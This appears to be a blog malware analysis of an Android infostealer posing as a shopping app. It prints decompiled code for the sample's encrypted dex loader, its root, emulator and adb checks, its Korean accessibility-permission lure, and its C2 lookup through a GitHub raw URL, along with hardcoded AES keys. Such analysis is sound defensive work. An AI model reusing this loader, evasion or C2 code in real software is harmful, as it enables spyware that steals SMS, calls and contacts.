Infostealer Fakecaller Malware Analysis
Summary
Finding interesting malware samples can be a hard task since most of them are very basic yet effective. Luckily Łukasz Siewierski known as @maldr0id have us covered, he posted a list of interesting malware samples on his blog. In this post, we are going to delve into the average section since the easy ones were trivial and not worth making a post for. Enjoy.
If you have any interesting samples that you want to see analyzed, don’t hesitate to contact me.
Sample #1: OKmall.apk
Download sample (Malware Bazaar)
First things first. The first thing we have to do is to decompile the apk to see what we are dealing with.
apktool d -s 960a508a362cd881f91182409f39643e2a923dd2b676227e690bb34b1985635a.apk
Nothing explains better an apk than its AndroidManifest.xml, so without further ado, voila :
1<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" xmlns:dist="http://schemas.android.com/apk/distribution" android:compileSdkVersion="28" android:compileSdkVersionCodename="9" package="com.cbcentv.cdece22" platformBuildVersionCode="28" platformBuildVersionName="9">
2 <uses-permission android:name="android.permission.READ_CALL_LOG"/>
3 <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
4 <uses-permission android:name="android.permission.BOOT_COMPLETED"/>
5 <uses-permission android:name="android.permission.INTERNET"/>
6 <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
7 <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
8 <uses-permission android:name="android.permission.WAKE_LOCK"/>
9 <uses-permission android:name="android.permission.GET_TASKS"/>
10 <uses-permission android:name="android.permission.BROADCAST_STICKY"/>
11 <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
12 <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
13 <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
14 <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
15 <uses-permission android:name="android.permission.VIBRATE"/>
16 <uses-permission android:name="android.permission.RECEIVE_USER_PRESENT"/>
17 <uses-permission android:name="android.permission.READ_CONTACTS"/>
18 <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
19 <uses-permission android:name="android.permission.READ_SMS"/>
20 <uses-permission android:name="android.permission.CALL_PHONE"/>
21 <uses-permission android:name="android.permission.RECEIVE_SMS"/>
22 <uses-permission android:name="android.permission.RECORD_AUDIO"/>
23 <uses-permission android:name="android.permission.BLUETOOTH"/>
24 <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
25 <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
26 <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
27 <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
28 <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
29 <uses-permission android:name="android.permission.ACCESS_COARSE_UPDATES"/>
30 <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
31 <uses-permission android:name="android.permission.SYSTEM_OVERLAY_WINDOW"/>
32 <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
33 <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
34 <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
35 <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
36 <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
37 <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
38 <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
39 <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
40 <dist:module dist:instant="true"/>
41 <uses-feature android:glEsVersion="0x00020000" android:required="true"/>
42 <uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>
43 <permission android:name="com.cbcentv.cdece22.permission.C2D_MESSAGE" android:protectionLevel="signature"/>
44 <uses-permission android:name="com.cbcentv.cdece22.permission.C2D_MESSAGE"/>
45 <application android:allowBackup="true" android:appComponentFactory="android.support.v4.app.CoreComponentFactory" android:configChanges="keyboard|keyboardHidden|orientation|screenSize|smallestScreenSize|uiMode" android:debuggable="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:name="com.kIzJTr.lGKAhM.gEWhKb.Auntvue" android:resizeableActivity="true" android:screenOrientation="portrait" android:supportsRtl="true" android:theme="@style/AppTheme" android:usesCleartextTraffic="true">
46 <activity android:autoRemoveFromRecents="true" android:configChanges="keyboard|keyboardHidden|orientation|screenLayout|screenSize|smallestScreenSize|uiMode" android:excludeFromRecents="true" android:launchMode="singleInstance" android:name="com.cbcentv.cdece22.MainActivity" android:theme="@style/AppTheme.NoActionBar">
47 <intent-filter>
48 <action android:name="android.intent.action.MAIN"/>
49 <category android:name="android.intent.category.LAUNCHER"/>
50 </intent-filter>
51 </activity>
52[...]
53 <meta-data android:name="android.support.VERSION" android:value="26.1.0"/>
54 </application>
55</manifest>
Since we don’t have the whole picture of how this application was meant to be delivered to the victim, we can only assume some things from what we have in our hands. According to the application name: okmall.apk [01] we can see that okmall is an application of an online store.
Daaaaaamn that’s a huge manifest you got there, what are you even doing with this app? Okay, as I like to say, “Show me your AndroidManifest, and I will tell who you are”, just by looking at the AndroidManifest.xml file we can roughly understand what this application is doing or what wants to do.
Right off the bat, we can see that the application asks for all kinds of potentially dangerous permissions:
- READ_CALL_LOG
- WRITE_CALL_LOG
- BOOT_COMPLETED
- INTERNET
- READ_PHONE_STATE
- ACCESS_NETWORK_STATE
- WAKE_LOCK
- GET_TASKS
- BROADCAST_STICKY
- CHANGE_WIFI_STATE
- PROCESS_OUTGOING_CALLS
- WRITE_EXTERNAL_STORAGE
- READ_EXTERNAL_STORAGE
- VIBRATE
- RECEIVE_USER_PRESENT
- READ_CONTACTS
- MODIFY_AUDIO_SETTINGS
- READ_SMS
- CALL_PHONE
- RECEIVE_SMS
- RECORD_AUDIO
- BLUETOOTH
- BLUETOOTH_ADMIN
- REQUEST_INSTALL_PACKAGES
- ACCESS_FINE_LOCATION
- ACCESS_COARSE_LOCATION
- REQUEST_DELETE_PACKAGES
- ACCESS_COARSE_UPDATES
- ACCESS_WIFI_STATE
- SYSTEM_OVERLAY_WINDOW
- SYSTEM_ALERT_WINDOW
- ACCESS_BACKGROUND_LOCATION
- ACCESS_LOCATION_EXTRA_COMMANDS
- REQUEST_DELETE_PACKAGES
- CHANGE_NETWORK_STATE
- FOREGROUND_SERVICE
- REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
- MOUNT_UNMOUNT_FILESYSTEMS
as well as two(2) permissions for cloud-to-device communication:
- com.cbcentv.cdece22.permission.C2D_MESSAGE
- com.google.android.c2dm.permission.RECEIVE
Furthermore, we can see that the application wants to manage calls and sms with the relevant receivers and services. Moreover, the application wants to access the accessibility feature [03]. Some other interesting things before we start the analysis are the meta-tags used in the manifest maybe the key meta value is used to decrypt/encrypt communication or an asset, additionally, we can see that the application is debuggable android:debuggable="true" and that android:usesCleartextTraffic=True which allows the application to communicate with HTTP, FTP, and other non-secure protocols.
Note: As of Android 9 clear text traffic is disabled by default this means that this flag is ignored, if you want to permit clear text traffic to an application you should create a security config [04] (We will cover this in a future tutorial on how to sniff Android app traffic). This doesn’t apply to this sample cause the support level of the apk is 26.1.0 which is Android 8.1, this means the sample is quite old and targets older Android devices.
As always our analysis starts by finding the entry point of the application (I really need to make a post about the lifecycle even though there are multiple good resources). As I mentioned in the last post the entry point is the class defined in the activity with action android.intent.action.MAIN (only one action.MAIN can be defined.) but in our case we have a different entry point. Even though there is an activity defined in the <application> tag. As you can read in the docs android:name [02] “When the application process is started, this class is instantiated before any of the application’s components.”, so this is our entry point for this sample.
Anyway, as Linus Torvalds would say “Talk is cheap. Show me the code”. So I spin up my trusted jadx-gui and load the apk.
1[...]
2public void onCreate() {
3 super.onCreate();
4 try {
5 bindRealApplication();
6 initTest();
7 initTest2();
8 } catch (Exception e) {
9 e.printStackTrace();
10 }
11 }
12[...]
13
14 private void bindRealApplication() throws Exception {
15 if (!this.isBindReal && !TextUtils.isEmpty(this.app_name)) {
16 Context baseContext = getBaseContext();
17 Class<?> delegateClass = Class.forName(this.app_name);
18 this.mDelegate = (Application) delegateClass.newInstance();
19 Method attach = Application.class.getDeclaredMethod("attach", Context.class);
20 attach.setAccessible(true);
21 attach.invoke(this.mDelegate, baseContext);
22 }
23 }
24[...]
25
26 protected void attachBaseContext(Context base) {
27 super.attachBaseContext(base);
28 getMetaData();
29 File apkFile = new File(getApplicationInfo().sourceDir);
30 File versionDir = getDir(this.app_name + "_" + this.app_version, SORT_NONE);
31 File appDir = new File(versionDir, "app");
32 File dexDir = new File(appDir, "dexDir");
33 final List<File> dexFiles = new ArrayList<>();
34 this.falg2 = true;
35 this.falg3 = true;
36 if (!dexDir.exists() || dexDir.list().length == 0) {
37 this.falg = true;
38 this.falg1 = true;
39 unZip(apkFile, appDir, new MyFileLoadLister() { // from class: com.kIzJTr.lGKAhM.gEWhKb.Auntvue.6
40 /* JADX WARN: Type inference failed for: r0v0, types: [com.kIzJTr.lGKAhM.gEWhKb.Auntvue$6$1] */
41 void runFile(final File file) {
42 new Thread() { // from class: com.kIzJTr.lGKAhM.gEWhKb.Auntvue.6.1
43 @Override // java.lang.Thread, java.lang.Runnable
44 public void run() {
45 super.run();
46 try {
47 new FindXTools();
48 byte[] bytes = FindXTools.getFileBytes(file);
49 Bntvc.decrypt(bytes, file.getAbsolutePath());
50 dexFiles.add(file);
51 if (dexFiles.size() == 2) {
52 Auntvue.this.falg = false;
53 }
54 } catch (Exception e) {
55 }
56 }
57 }.start();
58 }
59
60 @Override // com.kIzJTr.lGKAhM.gEWhKb.Auntvue.MyFileLoadLister
61 public void loadXFile(File file) {
62 runFile(file);
63 }
64
65 @Override // com.kIzJTr.lGKAhM.gEWhKb.Auntvue.MyFileLoadLister
66 public void completed(ZipFile zipFile) {
67 Auntvue.this.falg1 = false;
68 Auntvue.this.mZipFile = zipFile;
69 }
70 });
71 } else {
72 File[] listFiles = dexDir.listFiles();
73 int length = listFiles.length;
74 for (int i = SORT_NONE; i < length; i++) {
75 File file = listFiles[i];
76 dexFiles.add(file);
77 }
78 }
79 createMyDexObj();
80 while (true) {
81 if (!this.falg && !this.falg1 && !this.falg2) {
82 try {
83 break;
84 } catch (Exception e) {
85 e.printStackTrace();
86 return;
87 }
88 }
89 }
90 if (this.mZipFile != null) {
91 this.mZipFile.close();
92 }
93 loadDex(dexFiles, versionDir);
94 }
95[...]
96
97 public static void unZip(File xZip, File mDir, MyFileLoadLister mLister) {
98 try {
99 deleteFile(mDir);
100 ZipFile zipFile = new ZipFile(xZip);
101 Enumeration<? extends ZipEntry> entries = zipFile.entries();
102 while (entries.hasMoreElements()) {
103 ZipEntry zipEntry = entries.nextElement();
104 String name = zipEntry.getName();
105 if (!name.equals("META-INF/CERT.RSA") && !name.equals("META-INF/CERT.SF") && !name.equals("META-INF/MANIFEST.MF") && !zipEntry.isDirectory()) {
106 File file = new File(mDir, name);
107 if (!file.getParentFile().exists()) {
108 file.getParentFile().mkdirs();
109 }
110 String fileName = file.getName();
111 if (fileName.endsWith(".dex") && !TextUtils.equals(fileName, "classes.dex")) {
112 runFile(zipFile, zipEntry, file, mLister);
113 } else {
114 FileOutputStream fos = new FileOutputStream(file);
115 InClass myTools = new InClass();
116 InputStream is = (InputStream) myTools.getInputStream(zipEntry, zipFile);
117 byte[] buffer = new byte[BUFFER];
118 while (true) {
119 int len = is.read(buffer);
120 if (len == -1) {
121 break;
122 }
123 fos.write(buffer, SORT_NONE, len);
124 }
125 is.close();
126 fos.close();
127 }
128 }
129 }
130 mLister.completed(zipFile);
131 } catch (Exception e) {
132 e.printStackTrace();
133 }
134 }
135[...]
The function that is called first is attachBaseContext method according to the life cycle.
The decrypt function is defined in Bntvc class which calls the decrypt native function from the libdn_ssl.so shared library.
1package com.kIzJTr.lGKAhM.gEWhKb;
2
3/* loaded from: classes.dex */
4public class Bntvc {
5 private static String mStr = "aabbbaaa";
6
7 public static native void decrypt(byte[] bArr, String str);
8
9 static {
10 setAgent();
11 System.loadLibrary("dn_ssl");
12 }
13
14 public static void setAgent() {
15 mStr = "asdfbbbasdf";
16 }
Decompiling the libdn_ssl.so with ghidra we can find the exported decrypt function. As seen below, in line 24 there is the decryption key hardcoded at the initialization EVP_DecryptInit_ex function.
1void Java_com_kIzJTr_lGKAhM_gEWhKb_Bntvc_decrypt
2 (int *param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4)
3
4{
5 int iVar1;
6 uchar *in;
7 char *__filename;
8 size_t __size;
9 EVP_CIPHER_CTX *ctx;
10 EVP_CIPHER *cipher;
11 uchar *out;
12 FILE *__s;
13 int local_420 [257];
14 int iStack_1c;
15
16 iStack_1c = __stack_chk_guard;
17 in = (uchar *)(**(code **)(*param_1 + 0x2e0))(param_1,param_3,0);
18 __filename = (char *)(**(code **)(*param_1 + 0x2a4))(param_1,param_4,0);
19 __size = (**(code **)(*param_1 + 0x2ac))(param_1,param_3);
20 ctx = EVP_CIPHER_CTX_new();
21 cipher = EVP_aes_128_ecb();
22 EVP_DecryptInit_ex(ctx,cipher,(ENGINE *)0x0,(uchar *)"dbcdcfghijklmaop",(uchar *)0x0);
23 out = (uchar *)malloc(__size);
24 __aeabi_memclr(out,__size);
25 EVP_DecryptUpdate(ctx,out,local_420,in,__size);
26 iVar1 = local_420[0];
27 EVP_DecryptFinal_ex(ctx,out + local_420[0],local_420);
28 EVP_CIPHER_CTX_free(ctx);
29 __s = fopen(__filename,"wb");
30 fwrite(out,local_420[0] + iVar1,1,__s);
31 fclose(__s);
32 free(out);
33 (**(code **)(*param_1 + 0x300))(param_1,param_3,in,0);
34 (**(code **)(*param_1 + 0x2a8))(param_1,param_4,__filename);
35 if (__stack_chk_guard == iStack_1c) {
36 return;
37 }
38 /* WARNING: Subroutine does not return */
39 __stack_chk_fail();
40}
There are two suspicious files named secret-classes.dex and secret-classes2.dex. We can also find files such as app.html from path Resources/assets. By analyzing two entry point classes, we can confirm that the malware decrypts secret-classes.dex file on the fly and dynamically loads it using the Android Reflection technique.
In order to decrypt the secret-class.dex and secret-class2.dex I had to write a quick aes-128 decryption script.
1from Crypto.Cipher import AES
2import sys
3
4key = b"dbcdcfghijklmaop"
5cipher = AES.new(key, AES.MODE_ECB)
6
7f = open(sys.argv[1], "rb")
8ciphertext = f.read()
9f.close()
10plaintext = cipher.decrypt(ciphertext)
11f2 = open(sys.argv[2], "wb")
12f2.write(plaintext)
13f2.close()
We successfully decrypted the secret-classes dex files and now we can analyze them to see what actually the malware is doing. We will separate this section into different subsections depending on the functionality.
Anti-Debug
1 // CHECKS if adb is enabled
2 private static boolean ad(Context context) {
3 try {
4 return Settings.Secure.getInt(context.getContentResolver(), "adb_enabled", 0) > 0;
5 } catch (Exception e2) {
6 return false;
7 }
8 }
9
10 // CHECKS if language is korean
11 public static boolean j(Context context) {
12 String language = context.getResources().getConfiguration().locale.getLanguage();
13 return language.contains("ko") || language.contains("KO");
14
15 // CHECKS if is rooted device
16 private static boolean h() {
17 try {
18 String str = Build.TAGS;
19 return str != null && str.contains("test-keys");
20 } catch (Exception e2) {
21 return false;
22 }
23 }
24 // checks is is rooted
25 private static boolean i() {
26 try {
27 return new File("/system/app/Superuser.apk").exists();
28 } catch (Exception e2) {
29 return false;
30 }
31 }
32
33 // checks if device is emulator
34
35 private static Boolean j() {
36 try {
37 File file = new File("/proc/tty/drivers");
38 if (file.exists() && file.canRead()) {
39 byte[] bArr = new byte[((int) file.length())];
40 try {
41 FileInputStream fileInputStream = new FileInputStream(file);
42 fileInputStream.read(bArr);
43 fileInputStream.close();
44 } catch (FileNotFoundException | IOException e2) {
45 }
46 String str = new String(bArr);
47 for (String indexOf : d) {
48 if (str.indexOf(indexOf) != -1) {
49 return true;
50 }
51 }
52 }
53 } catch (Exception e3) {
54 }
55 return false;
56 }
As we can see some effort to stop the dynamic analysis of the app was made. Nothing fancy just usual stuff but let’s examine each one. The application checks if the adb is enabled by asking the Settings.Secure 05 providers. Then checks if the language is KO which stands for Korean. Checks if the device is rooted in 2 ways, first checks if the test-keys string exists in build tags, and second checks if the Superuser.apk file exists in the system apps folder. Finally checks if the device is emulated by reading the drivers and checking if “goldfish” (an arm emulator by QEMU) is in the strings.
Spyware
When the Main activity finally starts:
1 public void onCreate(Bundle bundle) {
2 super.onCreate(bundle);
3 setContentView(R.layout.activity_main);
4 try {
5 if (Build.VERSION.SDK_INT < 26) {
6 setRequestedOrientation(1);
7 }
8 } catch (Exception e2) {
9 }
10 getWindow().clearFlags(SymbolTable.DEFAULT_TABLE_SIZE);
11 getWindow().clearFlags(Integer.MIN_VALUE);
12 Kit.o(this);
13 a(); // starts web browser
14 this.a.postDelayed(this.b, 2500);
15 this.c.postDelayed(this.d, 1000);
16
17 [...]
18 private void a() {
19 this.h = (WebView) findViewById(R.id.webView);
20 WebSettings settings = this.h.getSettings();
21 settings.setJavaScriptEnabled(true);
22 settings.setAllowContentAccess(true);
23 settings.setAllowFileAccess(true);
24 settings.setDatabaseEnabled(true);
25 settings.setJavaScriptCanOpenWindowsAutomatically(false);
26 settings.setCacheMode(2);
27 settings.setDomStorageEnabled(true);
28 settings.setAppCacheEnabled(true);
29 this.h.addJavascriptInterface(new JsObject(), "android");
30 this.h.setWebViewClient(new BaseWebViewClient());
31 this.h.loadUrl(this.l); // private String l = "hXXp[://]c19.ipayshop.top/android.php";
32 }
33 [...]
34 }
When the MainActivity is launched a WebView shows up loading this page hXXp[://]c19.ipayshop.top/android.php, at the time of the analysis this website was dead, but most likely this would be a malicious/phishing page. When the page is loaded and after a delay of 2.5 seconds (2500 ms) a prompt would show up to the user asking him to enable the accessibility settings.
1 public void b() {
2 try {
3 if (!Kit.l(this.g)) {
4 Kit.z(this.g);
5 } else if (Kit.a(this.g, LAutoService.class)) {
6 int o = Kit.o(this.g, "K_TP_OVERLAY_SHOW_ONCE");
7 if (Kit.l(this.g, "com.skt.prod.dialer") && o == 0 && Kit.o(this.g, "K_TP_OVERLAY_OFF") == 0) {
8 Kit.a(this.g, "K_TP_OVERLAY_SHOW_ONCE", 1);
9 Kit.a(this.g, "K_SETTING_JOB", 1);
10 Kit.d(this.g, "com.skt.prod.dialer");
11 }
12 } else if (this.k == null) {
13 this.k = new AlertDialog.Builder(this.g);
14 this.k.setTitle("알림");
15 this.k.setCancelable(false);
16 AlertDialog.Builder builder = this.k;
17 builder.setMessage("앱 정상 이용위해서 [접근성-설치된 서비스-" + getString(2131361833) + "] 허용해 주셔야 정상적인 서비스 가능합니다. ");
18 this.k.setPositiveButton("확인", new DialogInterface.OnClickListener() {
19 public void onClick(DialogInterface dialogInterface, int i) {
20 boolean a2 = Kit.a(MainActivity.this.g, LAutoService.class);
21 if (!a2) {
22 Kit.a(MainActivity.this.g, "K_ACCESSIBILITY_ON", "");
23 Intent intent = new Intent("android.settings.ACCESSIBILITY_SETTINGS");
24 intent.addFlags(276856832);
25 MainActivity.this.startActivity(intent);
26 } else {
27 boolean B = Kit.B(MainActivity.this.g);
28 if (a2 && !B && Build.VERSION.SDK_INT >= 23) {
29 Kit.u(MainActivity.this.g);
30 }
31 }
32 dialogInterface.dismiss();
33 AlertDialog.Builder unused = MainActivity.this.k = null;
34 }
35 });
36 this.k.show();
37 }
38 } catch (Exception e2) {
39 }
40 }
In the corresponding service class onServiceConnected -> onAccessibilityEvent, the life cycle runs in the order of methods.
c2 comms
1
2 public void run() {
3 Context a2;
4 try {
5 KLog.a("request git:" + "https://raw.githubusercontent.com/wuxxt/ppoinde2828/main/c_a_xx1");
6 String string = new OkHttpClient().newCall(new Request.Builder().url("https://raw.githubusercontent.com/wuxxt/ppoinde2828/main/c_a_xx1").build()).execute().body().string();
7 KLog.a("git:" + string);
8 String b = MCrypt.b(string);
9 KLog.a("git de:" + b);
10 if (b.startsWith("http://")) {
11 Kit.a(LInitService.a(this.a), "K_HOST", b);
12 a2 = LInitService.a(this.a);
13 } else {
14 String c = Kit.c(LInitService.a(this.a), "K_GIT_HOST");
15 if (!c.equalsIgnoreCase("")) {
16 KLog.a("newGitUrl:" + c);
17 String string2 = new OkHttpClient().newCall(new Request.Builder().url(c).build()).execute().body().string();
18 KLog.a("git 2:" + string2);
19 String b2 = MCrypt.b(string2);
20 KLog.a("git de 2:" + b2);
21 if (b2.startsWith("http://")) {
22 Kit.a(LInitService.a(this.a), "K_HOST", b2);
23 a2 = LInitService.a(this.a);
24 } else {
25 return;
26 }
27 } else {
28 return;
29 }
30 }
31 Kit.f(a2, "K_UP_REGISTER_INFO");
32 } catch (Exception e) {
33 e.printStackTrace();
34 }
35 }
The application uses GitHub to get the encrypted string that contains information about the c2 host.
1public class MCrypt {
2 public static String a(String str) {
3 try {
4 Cipher instance = Cipher.getInstance("AES/CBC/PKCS5Padding");
5 instance.init(1, new SecretKeySpec("rb!nBwXv4C%Gr^84".getBytes(), "AES"), new IvParameterSpec("1234567812345678".getBytes()));
6 return new String(Base64.encode(instance.doFinal(str.getBytes()), 2));
7 } catch (Exception e) {
8 e.printStackTrace();
9 return "";
10 }
11 }
12
13 public static String b(String str) {
14 try {
15 byte[] decode = Base64.decode(str, 2);
16 Cipher instance = Cipher.getInstance("AES/CBC/PKCS5Padding");
17 instance.init(2, new SecretKeySpec("rb!nBwXv4C%Gr^84".getBytes(), "AES"), new IvParameterSpec("1234567812345678".getBytes()));
18 return new String(instance.doFinal(decode));
19 } catch (Exception e) {
20 e.printStackTrace();
21 return "";
22 }
23 }
24}
MCrypt class is an aes wrapper class that has a (encrypt) and b (decrypt) methods with a hardcoded passphrase and IV init value.
Sadly we cannot continue the investigation because the GitHub as well as the phishing sites are disabled/removed, that’s only logical since the sample is old.
Rating
- Difficulty : 3/0
- Obfuscation : 3/10
- Functionality: 6/10
- Overall : 4/10